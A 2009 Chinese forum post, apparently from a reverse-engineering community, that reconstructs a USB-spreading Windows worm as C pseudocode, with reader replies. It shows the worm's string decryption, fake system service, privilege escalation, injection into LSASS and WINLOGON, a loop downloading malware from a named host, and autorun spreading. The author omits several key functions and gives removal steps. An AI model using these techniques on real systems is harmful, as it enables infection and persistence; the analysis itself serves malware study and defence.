首页
社区
课程
招聘
[原创]worm.win32病毒逆向分析
发表于: 2009-5-26 18:23 13085

[原创]worm.win32病毒逆向分析

2009-5-26 18:23
13085
【文章标题】: worm.win32病毒逆向分析
【文章作者】: moonife
【作者QQ号】: 765496322
【下载地址】: 附件 (病毒文件)
【编写语言】: Microsoft Visual C++ 6.0
【使用工具】:IDA pro,OllyDbg
【操作平台】: xp-sp3
【作者说明】:IDA不会用,碰巧U盘里不知道那里带来的这个东西,就当是练下了,配合比较熟悉的OllyDbg,动静结合,勉强弄来出来,不足之处还请各位指正!
【特别祝福】:祝各位端午节快乐,吃好,睡好!嘿嘿
//******************************************病毒概述*******8***************************************************
1 程序图标为一般文件夹图标,有一定的迷惑性,文件名为:重要文件..EXE或Important.FILES.EXE
2 感染成功后会把自身注册为系统服务实现自启动和后台运行
3 运行后注入系统进程,从病毒站点下载病毒并执行
4 检测移动盘和网络驱动盘进行传播,并生成autorun.inf
5 如果你装了安全软件的话不要怕它的,作者并没有什么anti的功能,估计只是还在测试阶段,只是针对“裸奔”的用户有一定杀伤力的
6 解决办法:删除C:\WINDOWS\system\smss.exe ,停止和删除服务:Windows NT Service ,重启
//******************************************逆向还原C代码******************************************************
//有些函数防止乱玩,所以被省略了,嘿嘿。有兴趣的可以自己完成!
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
char OrigModuleFileName[260]="";
char WindowsDirectory[260]=""
GetModuleFileName(NULL,OrigModuleFileName,260);
GetWindowsDirectory(WindowsDirectory,260);
DeCryptionData(addr_0x14008064);//解密地址14008064处的字符串,addr_0x14008064=\system\smss.exe
strcat(WindowsDirectory,addr_0x14008064);//链接后的字符串:WindowsDirectory=C:\WINDOWS\system\smss.exe
Encryptiondata(addr_0x14008064);
if(strcmp(OrigModuleFileName,WindowsDirectory)!=0)//测试是否是C:\WINDOWS\system\smss.exe这个路径的执行,不是的话只是复制到这个路径一个备份并执行!
{
DeCryptionData(addr_0x14008044);//addr_0x14008044=C:\windwos.txt
if(strcmp(OrigModuleFileName,addr_0x14008044)!=0)
{
DeCryptionData(addr_0x14008054);//addr_0x14008054=C:\update..txt
if(strcmp(OrigModuleFileName,addr_0x14008054)!=0)
{
undefine(OrigModuleFileName);
}
else
{
Sleep(12000);
DeleteServiceSlef();
Sleep(1000);
}
Encryptiondata(addr_0x14008054);
SeetFileAttributes(WindowsDirectory,0x80);//设置正常属性
for(int i=10;i>0;i--)
  CopyFile(OrigModuleFileName,WindowsDirectory,0);
SeetFileAttributes(WindowsDirectory,7);//系统|只读|隐藏文件属性
wsprintf(cmdline,"cmd /c %s",WindowsDirectory);
WinExec(cmline,SW_HIDE);
Encryptiondata(addr_0x14008044);
exit(0);
}
else
{
Sleep(12000);
SeetFileAttributes(WindowsDirectory,0x80);//设置正常属性
DeleteServiceSlef();//这个是作者为了测试吗?,又见beta版!!!
Encryptiondata(addr_0x14008044);
exit(0);
}
}
else
{
AsService(WindowsDirectory);如果是C:\WINDOWS\system\smss.exe这个路径的执行,就开始进入正题!
exit(0);
}
}
//*****************************************************************
void DeCryptionData(char *data)//解密函数
{
int length=strlen(data),i=0;
for(;length>0;length--,i++)
    data[i]=(~data[i])^0x7F;
}
//*****************************************************************
void EnCryptionData(char *data)//加密函数
{
int length=strlen(data),i=0;
for(;length>0;length--,i++)
    data[i]=~(data[i]^0x7F);
}

//*****************************************************************
void AsService(char *exedir)//正题函数
{
SERVICE_STATUS ServiceStatus;//这些应该都是全局变量,声明在这里只是为了方便
SERVICE_STATUS_HANDLE hServiceStatus;
SERVICE_TABLE_ENTRY  servicetable[2];
DWORD idThread;
//call initstatus
hServiceStatus=0;
ServiceStatus.dwServiceType=0x10;
ServiceStatus.dwCurrentState=4;
ServiceStatus.dwControlsAccepted=1;
ServiceStatus.dwWin32ExitCode=0;
ServiceStatus.dwServiceSpecificExitCode=0;
ServiceStatus.dwCheckPoint=0;
ServiceStatus.dwWaitHint=0;
idThread=GetCurrentTreadId();
DeCryptionData(addr_0x14008044);//addr_0x14008044=NTservice
servicetable[0].lpServiceName=addr_0x14008044;
servicetable[0].lpServiceProc=(LPSERVICE_MAIN_FUNCTION)ServiceMain;
servicetable[1].lpServiceName=NULL;
servicetable[1].lpServiceProc=NULL;
EnCryptionData(addr_0x14008044);
creat_config_Service(exedir);//创建和配置服务,完成自动启动,这里就不逆了,就那么几步,读者自己完成!
//创建Windows NT Service服务,描述:For the security of Windows NT servies. An important System service, If it was terminated, Windows would be Collapsed.
//可执行文件路径:C:\WINDOWS\system\smss.exe  启动类型当然是自动了。
StartServiceCtrlDispatcher(servicetable);
}
//*****************************************************************
void ServiceMain()//服务主函数
{
DeCryptionData(addr_0x14008044);//addr_0x14008044=NTservice
SERVICE_StATUS_HANDLE hServiceStatus=RegisterServiceCtrlHandler(addr_0x14008044,(LPHANDLER_FUNCTION)HandlerProc);
EnCryptionData(addr_0x14008044);
if(hServiceStatus)
{
SetServiceStatus(hServiceStatus,&ServiceStatus);
ServiceStatus.dwWin32ExitCode=0;
ServiceStatus.dwCheckPoint=0;
ServiceStatus.dwWaitHint=0;
ServiceStatus.dwCurrentState=4;
SetServiceStatus(hServiceStatus,&ServiceStatus);
Sleep(36000);
DeCryptionData(addr_0x14008078);//addr_0x14008078=LSASS.EXE
DeCryptionData(addr_0x140080A4);//addr_0x140080A4=WINLOGON.EXE
DeCryptionData(addr_0x14008084);//addr_0x14008084=EXPLORER.EXE
DeCryptionData(addr_0x14008094);//addr_0x14008094=SERVICES.EXE
int eax=Injection(addr_0x14008078,TRUE,FALSE);//TRUE表示执行远程线程,FLASE指明是否已经感染成功
if(!eax)
{
eax=Injection(addr_0x140080A4,TRUE,eax);
//继续如上判断,省略
}
else
{
ServiceStatus.dwCurrentState=1;
SetServiceStatus(hServiceStatus,&ServiceStatus);
ExitProcess(1);
}
Sleep(0x3E8);
while(!DownVirus())  //从paganini.3322.org站点下载病毒文件,这个功能函数有兴趣可以自己完成,嘿嘿
Sleep(0x0FA0);
ServiceStatus.dwCurrentState=1;
SetServiceStatus(hServiceStatus,&ServiceStatus);
ExitProcess(1);
}
}
//*****************************************************************
BOOL Injection(char *name,int one,BOOL exec)//注入系统进程并执行远程线程
{
HANDLE hToken;
HANDlE ModuleHandle=GetModuleHandle(NULL);
OoenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
LookUpProcessPrivilege(hToken,addr_SeDebugPrivilege,1);//访问权限提升,很多前辈介绍过,这里就不赘述了。
DWORD dwProcessId=GetDesProcID(name);
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,TRUE,dwProcessId);
//以下是完成远程线程的写入并创建,代码省略:申请从一样的映像基址(14000000)开始的内存,把完整映像写入到远程进程,创建的线程函数地址为:14002EF0
}
//*****************************************************************
void WINAPI HandlerProc(DWORD dwCtrl)//处理服务控制请求函数实现
{
if(dwCtrl==SERVICE_CONTROL_STOP)
{
ServiceStatus.dwCurrentState=3;
SetServiceStatus(hServiceStatus,&ServiceStatus);
PostThreadMessage(idThread,WM_COLSE,0,0);
}
}
//*****************************************************************
void RemoteTread(DWORD param)//远程线程函数:14002EF0,干坏事的来了!!!!
{
HANDLE hNewThread=CreateThread(NULL,0,addr_14001AA0,[esp+c],0,NULL);//传播病毒功能线程,[esp+c]为true or false
while(!DownVirus())
Sleep(0x0FA0);
Sleep(0x7D0);
WaitForSingleObject(hNewThread,INFINITE);//直到等线程结束,才关闭句柄
CloseHandle(hNewThread);
}
//*****************************************************************
void SpreadVirusTread(DWORD param)//传播病毒功能函数线程
{
GetWindowsDirectory(WindowsDirectory,260);
DeCryptionData(addr_0x14008064);//解密地址14008064处的字符串,addr_0x14008064=\system\smss.exe
strcat(WindowsDirectory,addr_0x14008064);//链接后的字符串:WindowsDirectory=C:\WINDOWS\system\smss.exe
EnCryptionData(addr_0x14008064);
HANDLE hFiel=CreateFile(WindowsDirectory,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,READONLY|HIDDEN|SYSTEM,NULL);
GetLogicalDrives();
//每6秒测试是否有移动存储器或网络驱动器的存在并传染和生成autorun.inf。具体实现省略,防止乱玩,嘿嘿。可以自己完成!
}
//**************************************THE END 2009-5-26 By:moonife**************************************************

[课程]Android-CTF解题方法汇总!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (24)
雪    币: 485
活跃值: (12)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
2
厉害,把它给逆了,学习...
2009-5-26 19:58
0
雪    币: 339
活跃值: (29)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
厉害。直接逆成C了。但是如果LZ分享一些病毒分析的独到方法,或者有意思的事。这个就更有价值了。授人以渔当然最好了。
学习了。
2009-5-26 20:17
0
雪    币: 370
活跃值: (52)
能力值: ( LV13,RANK:350 )
在线值:
发帖
回帖
粉丝
4
我也是第一次弄virus了,没什么经验的,一样在摸索,如果非要讲一下的话,就是动(OllyDbg)静(IDA)结合,把两个的特色和强项集中利用,当然,最重要的还是耐心!其他一般都只是时间问题而已了!一起学习,一起进步了
搜索了下 还是有人被这个玩意弄了,在程序中发现的病毒生产日期是:2009-3-16
可以看下这个:http://bbs.kafan.cn/viewthread.php?action=printable&tid=469119
2009-5-26 20:53
0
雪    币: 140
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
lz强啊,这样学习病毒方面的技术太牛了
2009-5-26 21:28
0
雪    币: 114
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
楼主很强悍~
怎么感觉这个病毒是个demo版?
2009-5-26 23:29
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
偶像啊

好厉害的小子!
2009-5-27 07:55
0
雪    币: 360
活跃值: (77)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
8
看到过源代码
2009-5-27 08:34
0
雪    币: 370
活跃值: (52)
能力值: ( LV13,RANK:350 )
在线值:
发帖
回帖
粉丝
9
可否借我参考下了,或是指正一下我的错误了,谢谢了
2009-5-27 10:45
0
雪    币: 220
活跃值: (701)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
SeetFileAttributes
和SetFileAttributes有什么区别?
2009-5-27 22:18
0
雪    币: 370
活跃值: (52)
能力值: ( LV13,RANK:350 )
在线值:
发帖
回帖
粉丝
11
是笔误了,是一个函数的
2009-5-28 00:12
0
雪    币: 125
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
学习了!!!!!
2009-5-28 07:43
0
雪    币: 740
活跃值: (952)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
13
支持一下。病毒分析的活挺累的,尤其是逆过来的时候。
2009-5-29 17:50
0
雪    币: 87
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
学习一下!``
2009-5-29 20:56
0
雪    币: 2249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
进来学习一下了。
2009-5-30 10:22
0
雪    币: 110
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
哈哈,看雪的这个图标真是太有创意了,哈哈,太喜欢了!!!!
2009-11-1 22:08
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
佩服楼主
2009-11-2 10:02
0
雪    币: 433
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
18
support!!!
2009-11-2 13:42
0
雪    币: 8555
活跃值: (2802)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
好厉害呀,楼主!
2009-11-2 15:24
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
唉,要是再把分析逆向的方法写写就好了
2009-11-2 21:42
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
厉害!!膜拜一下
2009-11-4 14:17
0
雪    币: 113
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
22
太牛了楼主,膜拜啊~~~~
2009-11-4 16:16
0
雪    币: 109
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
中间有一段调用copyfile的循环,是要拷贝16次吗?作者是怕写入不成功吗?
.text:140011EF loc_140011EF:                           ; CODE XREF: WinMain(x,x,x,x)+1FEj
.text:140011EF                 lea     ecx, [esp+1D8h+BinaryPathName]
.text:140011F3                 push    0               ; bFailIfExists
.text:140011F5                 push    ecx             ; lpNewFileName
.text:140011F6                 push    offset ExistingFileName ; lpExistingFileName
.text:140011FB                 call    edi ; CopyFileA
.text:140011FD                 dec     esi          esi在之前已经赋值为0a了
.text:140011FE                 jnz     short loc_140011EF
2009-11-9 21:12
0
雪    币: 142
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
support!
2009-11-10 19:33
0
雪    币: 2375
活跃值: (433)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
NONAME剑人 支持一下。病毒分析的活挺累的,尤其是逆过来的时候。
不逆向的话,如何知道病毒是怎么危害电脑的?
2019-5-8 13:34
0
游客
登录 | 注册 方可回帖
返回
//